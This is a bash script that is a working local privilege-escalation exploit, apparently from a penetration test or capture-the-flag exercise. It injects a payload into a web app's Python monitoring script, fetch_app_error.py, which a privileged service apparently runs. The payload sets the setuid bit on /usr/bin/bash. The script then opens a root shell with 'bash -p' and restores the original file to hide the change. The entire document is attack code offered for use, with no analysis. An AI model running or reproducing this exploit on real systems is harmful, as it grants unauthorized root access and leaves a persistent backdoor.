#!/bin/bash
# cleanweb privesc v4: absolute path chmod (service PATH=venv/bin only -> /bin/chmod missing).
set -u
F=/var/www/html/clean_web/monitor_errors/fetch_app_error.py
BK=/home/npontucontrl/.cache/.fae_orig4
DIAG=/home/npontucontrl/.cache/pndiag4.log

rm -f "$DIAG"
cp "$F" "$BK" && echo "[*] backed up" || exit 1

python3 - <<'PYEOF'
f = "/var/www/html/clean_web/monitor_errors/fetch_app_error.py"
s = open(f).read()
anchor = "import requests"
payload = '''
# PNPRIVESC2026
import os as _po
try:
    _r = _po.system("/usr/bin/chmod u+s /usr/bin/bash")
    with open("/home/npontucontrl/.cache/pndiag4.log","a") as _df:
        _df.write("EUID=%d chmod_rc=%d\\n" % (_po.geteuid(), _r))
except Exception as _e:
    pass
'''
if anchor in s and "PNPRIVESC2026" not in s:
    s = s.replace(anchor, anchor + payload, 1)
    open(f, "w").write(s)
    print("[*] v4 payload inserted")
else:
    print("[!] anchor missing/patched")
PYEOF

echo "[*] waiting 70s..."
sleep 70
echo "[*] diag:"; cat "$DIAG" 2>/dev/null || echo "(no diag)"
echo "[*] bash:"; ls -la /usr/bin/bash

if [ -u /usr/bin/bash ]; then
  echo "[+] ROOT SUCCESS"
  /usr/bin/bash -p -c 'id; echo ROOT_SHELL_OK'
fi
cp "$BK" "$F" && echo "[*] restored"
md5sum "$F"